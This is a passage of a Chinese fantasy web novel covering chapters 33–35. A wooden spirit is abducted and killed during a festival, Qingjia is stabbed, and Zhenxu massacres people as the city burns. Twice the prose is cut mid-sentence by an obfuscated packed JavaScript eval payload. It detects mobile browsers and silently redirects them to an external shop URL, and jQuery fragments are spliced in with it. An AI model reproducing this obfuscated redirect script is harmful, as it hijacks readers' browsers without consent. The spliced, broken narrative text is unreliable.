归笙刚趴稳,就听清伽低声道:“若是能找到当时的那两个人……” 她歪头:“怎么,你想替我揍他们出气啊?” 清伽无言。 归笙眨了眨眼:“嗯,你想听实话吗?” 清伽:“……什么?” 他一听她这憋坏水的语气就知道没好话,但还是迁就地应声。 归笙于是由衷地道:“我觉得你打不过他们。” 清伽:“……” 他郁闷地低头,拿额头轻撞了她一下:“那就等我修炼个一两百年,迟早有天……” 归笙笑了一声,拈来他的一缎发尾玩:“你可别,我不要。” 她仰起脸,看着清伽,认真地道:“从小就有人教我,谁若是揍了我,我一定得亲自揍回来才算数,别人帮的都不够解气。” 清伽愣了愣,道:“你说得对。” 说是这么说,但他的眉头还是拧着,仍是遗憾不能为她出气。 归笙想了想,也觉得不能辜负他的这份好心。 说点什么能开解他呢? 有了。 “不过,你要是真想替我出气的话……” 归笙拿发尾挠了挠他的脸颊,以一种玩笑的口吻道:“等你修炼百年之后,帮我创造这个揍人的条件就好了。” 清伽:“好。” 他答得毫不迟疑,归笙微微一怔,心头无端闷堵。 她望着眼前神色郑重的人,依然分辨不清,这一句话究竟是谁在应答。 若是那位初代灵主…… 他注定,等不到百年之后了。 …… 日子一天天地过去,五方盛会的进行也来到尾声。 回程之日,归笙望着传送阵中的一众灵侍,只觉胜利的曙光终于照耀在了她的脸上。 虽然整个五方盛会期间,她为保小命,全程足不出户,只能呆在髓华充盈的院子里,后期甚至只能呆在一间咒术加强的屋子里,但一道进入境中之境的清伽,这段时日见过的人声鼎沸的大场面恐怕不知凡几。 瞧把莲心消耗得,这会儿她只能看清三步范围之内的人了。 唯一奇怪的是,清伽似乎一直没有察觉异样。 归笙费解地旁观清伽和在她眼里已经变成一团人形白雾的灵祖交谈。 莫非是初代灵主的残魂中带有记忆,所以即便莲心无力呈现完整的画面,清伽也能通过记忆感知昔年人事物的全貌,因而不受影响么? 归笙想了一下就不想了。 毕竟这个倒霉莲华境里的疑点也不止这一个了。 事到如今,这些吊诡的疑问就全都随它们去吧。 对她来说,唯有尽快破出莲华境,继续启程寻找师母才是最重要的。 归笙默默祈祷—— 赶紧再来一个大场面,一举将莲心击溃吧! 33. 焚城焰(上) 从中州回到莲华殿后,归笙明显感觉到,莲华境中的时光流速越发急促起来。 比如有时天亮了没一会儿,体感不过两个时辰出头,她往东边望去,就已经能看到白月浮起的轮廓。 归笙知道,莲心在试图以这种方式节省法力。 如此浮光掠影地度过时间,空间中的细节就不必一一展现,自然有利于莲华境的延续。 归笙当然也有对抗之法。 这法子的具体操作很简单,就是她每天白日都要大摇大摆地爬上屋顶,眺望远处来来往往的灵侍。 往往是眺望了没一会儿,其中一个人便会“噗”地变成一团移动的白雾,在她的视野里诡异地飘来飘去。 每逢此时,莲心就会紧急驱赶太阳下山,让归笙什么也看不到。 归笙几乎可以想象莲心那张可爱的小脸蛋因为气急败坏而变得皱皱巴巴,不禁乐得直拍腿。 “你在上头做什么呢?” 归笙停止拍腿,循声扒住檐角,探头往下瞧去。 风露婆娑间,月下美人仰首望来,白衣提灯,风致楚楚。 归笙险些溺晕在那盈漾星华的眼波里,胡乱诌道:“晒月亮。” 清伽才不信她的鬼话:“窗边不能晒?爬那么高,也不怕摔了。” 归笙知道他下一句就是要催她下去了,但此时远处稀稀落落亮起了灯火,又可以看到许多人了。 不愿放弃和莲心继续作对的机会,归笙有理有据地道:“这样离月亮近。” 清伽:“……” 归笙不再管他,径自坐了回去。 刚坐稳,身侧便有柔白的灯晕一晃。 清伽连人带灯轻飘飘掠上来,挨着归笙坐下。 距离拉近后,归笙惊觉此人穿了一身好生隆重的新衣。 归笙:“天呐!这是我头一回在你的衣服上找不到一根线头。” 清伽:“……” 归笙也忘了要继续折腾莲心,像个挖到惊天矿藏的掘宝贼,两眼放光,一会儿捧起清伽袖口的烫金花纹瞧啊瞧,一会儿捞来他颈上的挂饰摸啊摸,赞不绝口道:“这身新衣真漂亮,穿在你身上更漂亮。” 清伽托腮,将那条项链取下来给她玩,解释道:“这是要在祈灵祭典上穿的衣裳,我就先拿回来穿给你瞧瞧。” 归笙:“怎么?当天你要登台表演吗?这瞧着也不像戏服呀。” 清伽:“……我也不会唱戏,这是莲华殿为灵主制作的衣裳,不过只能在授职当日穿一下,之后得回收上去,下一任灵主上任时再拿出来。” 归笙忍不住吐槽:“莲华殿还挺勤俭持家的,一件衣裳都舍不得送你。” “等一下,授职?” 归笙反应过来,愕然不已:“之前不是说要等到祭典之后吗?” 她前段时间最后一次跟清伽出门,便是前往定夺灵主人选的现场,得知了授职仪式安排在祈灵祭典之后。 清伽笑着解释:“嗯,我要求灵祖提前了,不必单办仪式,直接在祈灵祭典上顺便一下得了,因为我要尽快接触到煌星木。” “按照往常的惯例,莲华殿会在祈灵祭典上打开镜界,灵侍们会以咒术摇动煌星木,使之倾落灵髓,泽润西漠……不过今年略有不同,莲华殿决定令千年不曾露面的煌星木供城民观览,且这个摇树的任务全权交由我一人,相当于把它作为灵主授职的流程了。” 归笙心里咯噔一声:“……打开镜界?供城民观览?” 那煌星木岂不是很危险? 清伽明白她在担心什么,温声宽慰她道:“年年祈灵祭典都有这个环节,只不过以往外界的人看不到煌星木……千百年下来,保护煌星木的咒阵已经完善得天衣无缝,从外部无懈可击,就算有结阵的灵侍想要从内部搞破坏,也会立刻被弹出咒阵。” “而且,”他摸摸她的脑袋,“出入镜界必须要使用通行契,任何传送法阵都行不通,而通行契在我身上,你觉得我会让居心叵测的人混进去吗?” 归笙:不好说。 毕竟她在三百年后,可是真真切切地看到过煌星木被焚烧的残枝,以及主干中部的狰狞断口。 虽然她不知道那场焚城之焰具体发生在哪一天,但清伽这样说后,她骤然对这场三百年前的祈灵祭典感到了不安。 看出她的疑虑,清伽不禁郁闷地道:“你也太看不起我了吧。” 归笙愁眉苦脸:“是担心你。” 她将脑袋上的手拿下来,轻轻握住,道:“按照莲华殿这么安排,祈灵祭典上出现任何差池,不论是不是你的过错,你都一定是首当其冲被追究的……” 清伽目光柔软:“可我等不及了,必须如此,追究就追究吧。” 归笙默然。 她终日足不出户,也没留意时日的更迭。 没想到,距离祈灵祭典只剩下了三日的光景。 本来是该感到高兴的,因为这意味着她大概很快就能破出莲华境了。 可若她的预感是真的…… “很快,你就不用被拘束在这片方寸之地了。” 清伽的声音唤回了归笙的思绪。 星月下,他眸光泠泠,盈满温柔的期待:“你可以和所有身康体健的灵怪一样,想去哪里去哪里,想学什么学什么。” 归笙静了静。 对了,这是初代灵主和木头灵怪之间的事情。 无论即将发生什么,都已经成为了三百年前既定的事实。 她的纠结除了给自己徒增烦恼外,毫无用处。 这往生镜着实害人不浅,一个不注意,还真容易让人沉浸进去。 平复心情,归笙接住清伽的话,打趣道:“也不用再待在你身边,靠你的髓华续命?” 本以为他又要矫情起来,不成想,清伽笑意不变。 “如果只能以这种方式,才能将你留在身边的话……” 他轻声而断然地道:“那我宁可不要。” 归笙顿了顿。 没来由的,她有点想在这个问题上深究下去。 就好像,有个来自心底的声音,催促着她这样做。 归笙于是清了下嗓子,试探着道:“那,即便这只木头灵怪……咳,也就是我,身体好了之后,就拍拍屁股走了,随旁人浪迹天涯去了,甚至……彻底忘了你,你也一点都不介意吗?” 清伽:“你想杀了我吗。” 归笙:“……” 清伽一把拎住她的后领,将人拎到自己的两腿之间坐着。 他惩罚似的,拿嘴唇摩挲这可恶的木头的发顶,模糊道:“我装装大度,你还当真了。” 归笙被痒得一缩,奋力拱了下脑袋:“好好讲话,别一言不合就啃木头,你不嘣牙吗?” 清伽:“……” 清伽泄了气,收紧手臂,将这动歪脑筋的家伙牢牢锁在怀里。 他道:“肉身是一定要重塑的,但塑完你也别想跑,不然隔天我就利用职务之便在西漠到处声张有根木头始乱终……唔唔。” 归笙从他袖子里掏出一块糖糕,眼疾手快塞进了这张嘴里,木然道:“好好的一个美人,怎么就长了张嘴呢。” 清伽眨了眨眼。 忽然,他说了句什么,眼尾随之染红,眸中泛起漉漉的水泽。 归笙把他嘴里的糖糕抽出来,好奇地道:“没听清,什么伺候?你的嘴关伺候什么事?你再说一遍我听听?” “……” 在归笙求知若渴的目光中,清伽无力地别开眼,挫败又自责地把脸埋进掌心里,只留下红欲滴血的耳尖:“……没什么,你果然不懂……是我不该。” 归笙:“???” 后来任凭归笙如何死缠烂打地追问,清伽也打死不告诉她他究竟说了句什么了。 气得归笙接下来三天都没再跟他说一句话。 不过清伽也并未察觉她的冷待,因为他忙得要死了。 这三日的休假里,归笙也不知道清伽在忙活些什么,就见这家伙成日不吃不喝、不眠不休地坐在书案边,对着一堆针线布料焦头烂额,抓下来大把大把的头发,都快在地上滚出一团毛球了。 望着他手里的一只锦囊的雏形,归笙无数次想问你这是要从木雕手艺人转行为针线手艺人了吗,又想起自己还在和他单方面冷战,当即捺下困惑,爬上屋顶继续去欺负暗中崩溃的莲心了。 就这样,三天光景一晃而过,祈灵祭典如期而至。 当日清晨,东方未白,归笙便在一阵闷火烧心中痛醒。 清伽分明就在身侧,他髓华的气息也无孔不入,可这疼痛不得一份缓解。 归笙轻手轻脚地下了榻,跑去书房,想泡杯冷茶灌下去纾解。 结果不及摸到茶包,她心腑猝然一热,一口血毫无预兆地喷了出来。 归笙撑着桌沿,望着地上的那滩血,冷静地拭了拭唇角。 她有种预感,这只木头灵怪的大限,应当就是今日了。 今日的祈灵祭典,是西漠一年一度的宏大的盛会,即便是三百年后拮据困窘的西漠,祭典的规模也是她生平仅见的浩大恢宏。 她判断,今日,一定可以一举破境的。 虽然才吐了口血,但这具灵怪的躯壳一反常态,五感正常,四肢有力,甚至连髓脉中恢复了一点的髓华也异常活跃起来。 这是自从被抽光髓华后,这具肉身给她感觉最好的一次了。 归笙知道,这大抵就是回光返照。 她俯下身,一拂袖,放出髓华,将地上的那滩血清理干净。 刚直起身,腰腹便被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽然不知道初代灵主的人生轨迹有没有这一段,但那画面真是想想都太过惊悚,清伽不被当场轰下台去,恐怕也要落得个万古荒唐的骂名。 清伽显然很能领悟她脑补的场景,屈指在她脑壳上敲了一下:“停停停,别想些奇奇怪怪的画面。” 他哭笑不得:“那种事情我当然考虑到了,不然我为何亲手做这个锦囊?放心吧,它会帮你维持住灵怪形态的。” 归笙这才安心了:“好吧。” 刚好,她也不用找其他理由说服清伽带她去祈灵祭典的现场了。 没有后顾之忧,归笙爽快地蹦跶进锦囊。 眼前先是一黑,很快又亮起。 归笙叹为观止。 难怪清伽整整三日都半死不活的,他这是直接塞了个镜界在锦囊里啊。 这镜界被搭成了一间寝屋的布局,香薰盆栽、床榻桌椅一应俱全,甚至还有供她打发时间的书本,同时天顶大敞,她只要抬头,就能看到锦囊外面的景象。 这锦囊仿佛一座小型的观景台,她可以安安稳稳地呆在这里,将祈灵祭典的一切看得清清楚楚。 归笙扑到榻上,由衷赞道:“你太厉害了。” 清伽正在那边更衣,听到她的夸奖后,伸过手来,隔着锦囊揉了揉她的脑袋,笑道:“你满意就好。” 归笙:“……比起我满不满意,请你立刻把你的手收回去,并把你松掉的腰带系好,谢谢。” 清伽:“好的。” 他若无其事地背过身,徒留归笙在锦囊里面红耳赤。 这个家伙近来不知道怎么回事,随时随地不分场合地卖弄美色,实在是太过考验她持身正行的意志力。 归笙不由深沉地思索:这也是莲华境走火入魔的一种表现吗?所以连自己的清白都不太关注了? 要不要提醒他一下? 罢了罢了,马上都要破境了。 等清伽和初代灵主的残魂分开,应该就没有这种症状了。 一个时辰后,清伽收拾完毕,将锦囊在腰间挂好,走出了门。 归笙从锦囊里向后望了一眼。 夜雾未褪,晨曦明净,为素净的院落描画淡色的金边。 归笙感到一阵惆怅,在心底默默与这间相伴多时的居所告别。 祈灵祭典定在酉时开幕,因而灵侍们白日的事务无甚稀奇,不过是为祭典的流程一遍遍做复核,检验人员与用物悉数到位等。 由于今天算是他的半个主场,清伽本人较为清闲些,主要是负责查漏补缺。 归笙都比他忙多了,呆在锦囊里一个劲地到处乱盯,争取把见到的每个东西都盯成白雾。 她就这么盯盯盯,盯到长空敛去最后一抹胭脂色。 皓月升空,华灯初上。 酉时已至,祈灵祭典正式开幕。 34. 焚城焰(下) 三百年前的祈灵祭典,与三百年后堪称云泥之异。 归笙过去的十八个年头里,从未见过如此盛大的场面。 钟鼓齐鸣,仙乐天音,雪色灵驹踏空而行,千万莲灯逶迤作光河,供云辇徐徐驶过,花团锦簇,草木欣荣,凡所见之物,皆附灵髓,灵光浩然宛转,可媲美银河倾落。 长街两侧人声鼎沸,或是人族,或是灵怪,也有其他域境来凑热闹的修士,甚至还有鬼鬼祟祟企图偷盗捣乱的妖魔鬼怪,被现场驻守的灵侍及时拿下,露出马脚的缘由是易容易得太丑,一看就是北原的长相水准,因而被灵侍一眼识破。 归笙在锦囊里看得直乐。 不知不觉间,云辇绕过主城一周,回到了莲华殿,灵侍纷纷下辇,列阵结咒。 今日莲华殿不封殿门,众灵侍以咒术令殿塔分解,殿砖材质通透如玉,墙体向外平落,外观呈现作一朵盛绽的九重莲花。 塔顶一瓣尤为特殊,纵向延展,外观如一扇矗立的大门,门后便是煌星木所在的镜界。 按照流程,授职仪式结束后,清伽会用灵祖授予的通行契打开镜界,供塔下参赴祭典的万民观览煌星木。 这是自从将煌星木移栽入镜界后,千年来莲华殿首次令煌星木面世,因而殿塔之下人流如织,水泄不通。 归笙观祭时的快乐渐渐平息,取而代之的,是愈演愈烈的不安。 她望了望下方的人头攒动,又望了望那活靶子一样高矗的镜界,眉头拧成了一团麻花。 莲华殿此举,简直是开门迎贼啊。 授职仪式的流程并不烦琐,因为莲华殿也知道,这些城民是冲着观览煌星木而来,至于谁当上了灵主,对他们来说并无所谓。 很快,清伽便捧起双手,从灵祖手中接过了镜界的通行契。 在这个瞬间,归笙忽然感到脊背一冷。 像是被一种藏在暗处的阴冷目光不偏不倚地攫住。 心脏不受控制地狂跳,归笙警惕地低下头,视线扫过下方一众城民。 然而他们之中,大部分已经在她眼里化成了一团浓雾,剩下的还有面孔的,也是满面欣然地望着这边,她根本看不出任何异常。 归笙无奈,只得收回视线。 她这么一晃神间,清伽已经用通行契打开了镜界。 清伽踏入镜界的瞬间,归笙感到通体一阵轻盈,甚至不由自主地弯起了唇角,胸臆间涌动的情绪令她眼眶发热。 她明白,这是灵怪与主人间未完全切断的牵系,将清伽的情绪传递了过来。 清伽很高兴。 归笙眨了眨眼。 在这一刻,她也暂时将什么破境、什么可能出现的变故都抛到了脑后,只想看一看他的笑容。 然而当归笙抬起头,看到的却不是清伽噙着笑意的眼睛。 而是一道凭空出现的深黑裂隙。 这裂隙犹如一只冰冷狭长的眼睛,毫无征兆地出现在她的头顶上方,横亘在她与清伽之间,并不断扩张、蔓延,直至吞噬了锦囊镜界的整片天顶,让她再也看不到锦囊外的场景。 也再看不到清伽。 刹那间,以那道裂隙为轴,她身边的桌椅床榻、熏香花笼、清伽精心构筑的一切,全部褪色、扭曲、萎缩,直至坍塌陷落,夷为飞灰。 短短一瞬间,锦囊中的镜界便被摧毁了。 未知的恐惧袭上心头,归笙下意识张口,想要呼救。 却有一只手掌从那裂隙中探出,狠狠扼住了这具灵怪的躯壳。 一泓深不可测的修为,如一重巍巍山海压下。 归笙能够笃定,便是清伽与此人正面对上,也绝无胜算。 何况她一个本就濒死的灵怪。 在这可怕的威压下,别说呼救,归笙顷刻失去了所有反抗之力,只能眼睁睁看着自己被那只手毫不留情地拖入裂隙。 难以解释的是,在她离开锦囊的那一刹,归笙忽然感觉到这具躯壳活了过来。 自从进入往生镜,她大部分时间都在冷静地旁观进展,时刻提醒自己着眼于境中之境的状态,对许多事置身事外,袖手旁观,便是有所感触,也多是因为与初代灵主残魂相融的清伽。 而对于自己所附的这具命运多舛的木头灵怪,她其实并无多少与之依存的实感,只当这是往生镜为她安排的一个身份,一个在初代灵主的人生轨迹里有所分量的存在,一双最方便密切关注进入考验的清伽的眼睛。 然而在这一霎,归笙感受到了这具灵怪躯壳的悲伤。 她仿佛真正地看到了三百年前,在祈灵祭典的这一天,有一只被雕刻成砂笙的木头灵怪,满心憧憬地等在初代灵主为她缝制的锦囊中…… 却在初代灵主即将取得煌星木屑,为她重塑一副完好的身体的前夕,被凭空出现的一道诡异裂隙,以及从裂隙中探出的一只无法抗拒的手,从灵主的身边生生窃离。 悲伤如汹涌的潮水,将归笙淹没得彻底,连呼吸都无法控制地艰涩难熬。 以至于归笙几乎分不清,这悲伤究竟是来自这灵怪,还是来自她自己。 “我果然没看错,就是这只木头灵怪。” 不知过了多久,一道满含不悦的嗓音,将归笙从过于深重的情绪中剥离出来。 她有些茫然地回神,看到眼前被白雾遮蔽的一对男女。 方才说话的,正是其中的男人。 他语气的那份不悦,就像是曾心血来潮踩死一只蚂蚁,却又在后来发现这只蚂蚁不仅没有死透,反而安家筑巢,重获新生,不禁大感扫兴。 男人掐着手里的砂笙,翻来覆去地折腾察看,下手的力道极重,就是刻意要让手里的木头灵怪感到痛楚。 他的手掌心覆着粗砺的厚茧,硌得归笙遍体生疼,不由暗暗叫苦。 清伽从来不会让这具灵怪的躯壳接触如此粗糙的事物,连带附在这具壳子里的她也被娇惯了许多,一场莲华境下来,连这点痛都有些遭不住了,实属不该。 须臾,男人终于折腾够了,将木头灵怪拎到眼前,冷哼道:“被抽光一次髓华,不仅没死,竟还长进了不少……” “看得出来,你很想活下去啊。” 他口吻莫测,听得归笙心头猝然一紧。 男人蓦地笑了:“那就——” “看看你能不能撑过这第二次。” 恶意的尾音,伴随陡然刺入的髓华,如轰然坠下的铡刀,斩向这具灵怪的躯体。 这一回的抽髓断脉,干脆利落,不留生路。 戛然的痛楚甚至没能撑过两息,便归于一片死寂的虚无。 浮浮沉沉的黑暗中,归笙猛地睁开双眼。 躺平许久的九窍核桃漂浮在天工海中,正悠哉游哉地跟她的神念打招呼。 归笙的心定了定。 这是她自己的元魂。 不过,既然她的元魂从那只木头灵怪的壳子里弹了出来,也就说明…… 那只木头灵怪的生命,已经彻底走到了尽头。 在第二次被抽髓断脉后。 归笙默然片刻,深深地叹了口气。 虽然她的目的一直都是破解境中之境,但此刻也不免心绪万般复杂。 明明就差这么一点…… 明明就差这么一点,初代灵主就能为木头灵怪重塑一具完好的身体了。 不忍再往下想,归笙憋回眼中的水雾,向下方望去。 往生镜中的场景仍未结束。 只不过她知道,莲心撑不了多久了。 因为此刻的往生镜中,几乎所有人都在她的眼中变作了人形的白雾。 只除了那道煌星木下的身影。 他在她眼中,形单影只地,置身于茫茫的雾海。 …… 清伽并不知道锦囊中所发生的一切。 毕竟就在接过通行契的前一刻,他还悄悄地探入锦囊,查看了她的状况。 当时的木头正四仰八叉地横在榻上,兴致勃勃地四处张望,是让他安心的活泼模样。 所以此刻,他心无旁骛地沿着煌星木盘虬的根茎行走,仔细地挑选着其中适合修复伤势的部分。 没有耽搁太久,清伽捧起取好的木屑,解下腰间的锦囊。 等这一刻等了太久,他的指尖微微轻颤。 抽开束绳的一瞬,清伽在想,明日就兑现承诺,带着重塑好身体的小木头,去狐茶坊喝现沏的茶水,不过要提前叮嘱赤狐姥姥,不许他们家美貌的姑娘小厮们出来。 要带她亲自去成衣坊,告诉她其实他买得起许多漂亮衣裳,不要总用一种忧心他钱袋子的眼神看他,他可以将她养得很好很好的。 要带她去逛西漠的夜市,吃那一口把她馋到吐木屑的烤鱼。 还要告诉她…… 后心倏然一凉。 一片莲刃裹挟剜下的腑脏血肉,从清伽的前胸穿出。 与此同时,无数声震耳欲聋的轰鸣,在镜界之外滚滚炸响。 短短一瞬,三重梦魇同时降临。 是手中空无一物的锦囊落地。 是无垠的火焰滔天而起,若狰狞的血口吞噬了半边天云。 是一道凭空出现的凌厉剑芒,自煌星木的主干正中横斩而过。 那剑光横逾万丈,通天彻地,令万物都为之寂灭一刹。 而这一刹的死寂后,下一瞬,便是“轰隆隆”的树木枝干错位折断之响,如成千上万柄豁口的斧锯同时劈砍摧拉,呛出嘶哑错落的悲鸣。 无边落木,萧萧而下。 清伽却仿佛什么都没有听到,也什么都没看到。 他只是一动不动地站在原地,盯着地上翻出内腑的锦囊。 血红的双瞳,倒映出锦囊中零星残存的木屑。 似乎过了很久,又似乎只过了一瞬。 清伽微微回神,听到了来自四面八方的声音。 是灵祖的怒喝:“清伽!你在做什么?!还不快护好煌星木!” 是困在火中之人绝望的呼喊:“灵侍!灵主!莲华殿!救命啊!” 是驻守祭典的灵侍倾巢而出,高声喝道:“不要慌张!没事的!往这边走,都往这边走……啊!” 维持秩序的声音被仍未停息的火药轰鸣吞没。 无数灵侍前赴后继地救人,却又往往在救人的途中,被不知埋在何处的火药炸得血肉横飞。 渐渐地,一部分灵侍开始踌躇,或呆在原地不动,或找地方躲藏。 但更多的灵侍还是选择义无反顾地上前,不顾自身安危,扑入火中施展咒术,想要扑灭火焰,为城民开辟生路。 但是很快,他们就绝望地发现,这些火药并非普通的凡间火药,因为每一簇炸开的火焰外,都镀了一层霸道强悍的髓华。 他们想要灭火,必须先冲破这层包裹在外的髓华。 然而灵侍们仓惶地发现,他们根本无力与这股浑厚的髓华抗衡。 他们扑灭不了这些火焰! 凡是法宝,必以髓华驱动,这髓华必然来自纵火之人。 这火药……完全就是那人特意造来进行大规模杀伤的法宝! 既然无法阻止火焰的燃烧,那就只能出入火海,将受困的人带离火场。 面临的危险骤然加剧,一时间,动身的灵侍愈渐寥寥。 许多灵侍自顾不暇,开始自寻生路,仍执意救人的,则非死即伤。 场面似乎陷入了停摆的死局。 就在这时,归笙在火中看到了一抹熟悉的身影。 一众灵侍也看清了那人,纷纷惊喜地唤:“真诩?!” 不怪他们如此激动,毕竟莲华殿的灵侍里,除了清伽,便属真诩的修为最高。 他们对付不了这火焰,不代表真诩不行! 如同抓住了救命稻草,灵侍们望着忽然出现的真诩,越发觉得他安心可靠。 作为回应地,真诩迎上这一双双充满希冀的眼眸,对他们安抚一笑。 随后,他执起搭在臂弯的拂尘,轻轻一扬。 刹那间,道旁熊熊燃烧的柏树上火焰尽散,沸腾的黑烟温驯地归入柔白的尘尾。 两三个灵侍顿时冲了过去,扶起柏树下获救的城民。 另一些灵侍则留在原地,对着真诩热泪盈眶,心生悔意—— 他们当时怎么就没坚持选真诩呢! 比起此时仍高高在上,滞留在煌星木的镜界中,不知道在做什么,迟迟不下来救城的清伽,此刻眼前的真诩,才更似救苦救难的仙人临世。 对啊,救不了人的,算什么灵主?! 即便真诩之前受到芳泽楼一事的牵连,但其实在他们眼里,那根本不算什么大事,他们至今还觉得是清伽小题大做,不过是借这个由头,挑真诩的错处,以谋取灵主之位罢了! 他们彼时真是猪油蒙了心,才会倒戈向清伽! 赤色的火光打在真诩的面容上,呈现出一种异样诡谲的深红。 他唇角挂着一抹近乎慈悲从容的笑,仿佛周身的灼灼烈火对他而言,不过几粒不足挂齿的火星。 真诩对灵侍们伸出双手,柔声道:“救下来的人先交给我,你们继续去救其他城民,别担心,我会为你们清出一条生路。” 站得离真诩最近的灵侍不疑有他,忙将手里惊魂未定的城民交给真诩。 “多谢你,真诩!” 真诩接过后,那名灵侍匆匆转身,打算去救下一个陷入火海的城民。 却在转身的刹那,被一柄拂尘当胸贯穿。 又不止他一个。 灵侍懵懂地回首,发现身后那被自己救下来的灵怪,此刻紧紧贴在他的身后,被拂尘的长柄捅穿了咽喉,已然没了声息。 “啊,抱歉。” 真诩施施然一收手臂,拂尘自二人的骨肉间抽离,一袭仙风道骨的白衣,瞬间被喷出的鲜血浸透。 他微微笑着,素净的面容半面淬血,悲悯俯瞰死不瞑目的人与灵怪。 “被活活烧死多痛苦啊,我这是好心送你们一程。” 真诩说着,又抬起头,对周围目睹这一幕而陷入呆滞的灵侍们一笑。 他柔声道:“毕竟今日,你们一个也逃不了。” 随即,他鬼魅一般掠身上前,一甩拂尘,一排灵侍的喉颈被齐齐割断。 “此等好事,大家当然要一起啊。” 俯视着脚下的尸体,真诩的笑容越发兴奋,猩红的血丝蜈蚣般爬满他的眼球。 “就像你们当时倒戈向清伽那样,大家一起啊!” “……” 目睹这血腥的一幕,火中奔逃的城民呆住了。 “莲华殿……莲华殿的灵侍杀人了!” 不知谁带头高喊了一声,又在慌乱之中口口相传,恐慌的情绪急剧蔓延,被漫天的火势催烧得无暇分辨这句话的真伪。 与此同时,真诩的猎杀仍在持续,杀灵侍,杀城民,杀一切仍在火中求生的生灵,无疑更加印证了这一句的真实性。 许多城民宁可独自埋头奔入火海,也不肯再对施救的灵侍交付信任,甚至自知逃生无望,心生仇怨,拖着前来救援的灵侍一同去死。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745443|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >残存的秩序彻底崩毁,彻底堕入混乱的深渊。 与此同时,煌星木的镜界中。 清伽终于封住了血流不止的心脉,僵木的四肢逐渐恢复知觉。 他踉跄地站起身,听到了不绝于耳的呼救,也看到了滚滚冲天的浓烟。 他试着向外迈了一步,却立刻被在镜界中避火的灵祖抽回煌星木边:“别的都跟你没有关系,你先想办法救煌星木!” 清伽顿了顿,抬头看了一眼,拭去颊边被抽出的血迹,语气很淡:“没必要了,木种已经被盗走了。” 为了做好灵主的职责,他早已将有关煌星木的典籍读到烂熟于心。 所以他知道,煌星木虽然依靠根系生长,却不依靠根系存活。 在煌星木主干的中段,蕴藏着煌星木赖以生存的木种,类似修士的心脏,一旦被取走,注定无力回天。 那不知为何能闯入镜界的一剑横斩,就是冲着煌星木的木种去的。 看出清伽没有说谎,灵祖的脸色霎时灰败如死。 忽然,不知想到了什么,灵祖又勉强振作起来:“不……还有救。” “你的莲华境虽未臻大成,不能逆转整片时空,但说不定,你可以控制单体的时间……” 灵祖死死地望着清伽,殷切地道:“你试试,你现在就试试,试试能不能回溯煌星木时间……” 清伽没有回应。 莲华境的确能够回溯时间。 但如果他能用莲华境救下煌星木…… 自然也能回溯下方那些伤重死亡之人的时间,回到他们尚有一线生机的时刻。 “……你要救这些人吗?” 看出清伽的想法,灵祖登时无法再作镇定,面目扭曲到狰狞。 他猛然甩出一道咒术,再度将清伽狠狠推向煌星木,声嘶力竭地道:“你救不完的!你看到这下面有多少人了吗?成千上万!你就算耗尽你这一身髓华,你也救不完!你不如放弃他们,去救煌星木……” 见清伽仍是不为所动,灵祖退了两步,望着已然开始萎败凋敝的树木,陷入崩溃,绝望地喃喃:“莲华殿不能没有煌星木啊……” 那西漠就能死这些人吗? 清伽不动声色地解着缚身的咒术,心绪渐起滔天波澜。 这些人,这些灵怪,这些西漠的城民,是受莲华殿的邀约前来观祭,如今祭典现场出了意外,便要弃他们于不顾吗? 或许在更早,在他分明上禀了火药一事,却至今没有得到下文时,莲华殿的那些长老就没将这些人的性命放在眼里。 他们明知真诩其人自败于他后,受莲华境反噬,心性有缺,不该再委以重任,却因勾结私计,五方盛会期间留他守殿,以至于埋下祸根,终致此刻爆发乱象。 包括这位灵祖,她说得没错。 这位昔年对他有救命之恩的灵祖,是希望莲华殿能一清浊气,但根本上,他只是为了维护莲华殿的长盛不衰,并顺势将莲华殿打造成自己的一言堂。 这些前来参祭的西漠万灵,他们是死是活,灵祖其实并不在意,所以对他动手,想要伪造他在众目睽睽下被刺杀,死在祈灵祭典上,便于自己后续独掌莲华殿。 这场祈灵祭典,注定是金玉其外,败絮其中。 他早该预想到的。 造成如今的局面,也有他的过错。 是他疏于职守,是他太过心急,是他也没把观祭城民的安危放在心上,是他自以为无论发生什么,他都能应付得来。 “……” 烈焰已吞噬了整座莲华殿塔,悍然侵入了敞开的镜界。 灵祖骤然回神,试图以咒术扑灭那火焰,却收效甚微。 火焰漫上煌星木的树根,灵祖仓皇喝道:“清伽!” 一方是失去木种,即将被烈火侵袭的煌星木。 一方是身陷火海,哀嚎响彻城池的西漠城民。 而他,只能选一方来救。 甚至没有慎重考虑的时间,否则便是两手皆空。 被炽焰灼痛的面皮抽动不止,清伽只觉魂魄都在此刻撕裂。 只余下微不足道的一点本心,在无人倾听之处诉说自私的冲动—— 他哪一边,都不想救。 他只在意,那被他一手救活的灵怪,不见了。 他想立刻抛下一切,去找她。 “灵主!” 一道凄厉的呼号入耳。 清伽闭了闭眼。 再睁眼时,已经有了定夺。 他彻底解开灵祖的咒术,背对过煌星木,向镜界的出口纵身而出。 与灵祖擦身而过刹那,清伽无比平静地开口:“如果你没有对我动手的话,我或许还有余力化出分身,留在这里救煌星木。” “要怪,就怪你太过心急,弄巧成拙,断送了自己大权独揽的美梦。” “清伽!” 灵祖对着那道决然离去的背影,怒不可遏,却也自知束手无策。 只能一字一顿,对那抹心意已决的背影,道出森冷的威胁与谶言:“你可想清楚了!煌星木若死,你便是西漠的千古罪人!” “你坏就坏在太年轻,见过的人性丑恶太少——这些被救下的生灵或许会感谢你一时,但一百年、两百年、三百年……他们迟早会忘干净你今日的所作所为!西漠干涸的灵髓会让他们的后代只看得到你放弃了煌星木,只看得到你的错误,害得他们万劫不复!” “还是不回头吗?那好,好!你今日但凡不死,哪怕只剩一口气,肉身崩毁元魂碎散,我也要将你打入水月牢底,吊着你一条命,永生永世不得解脱,为你此刻贻祸苍生的选择赎罪!” 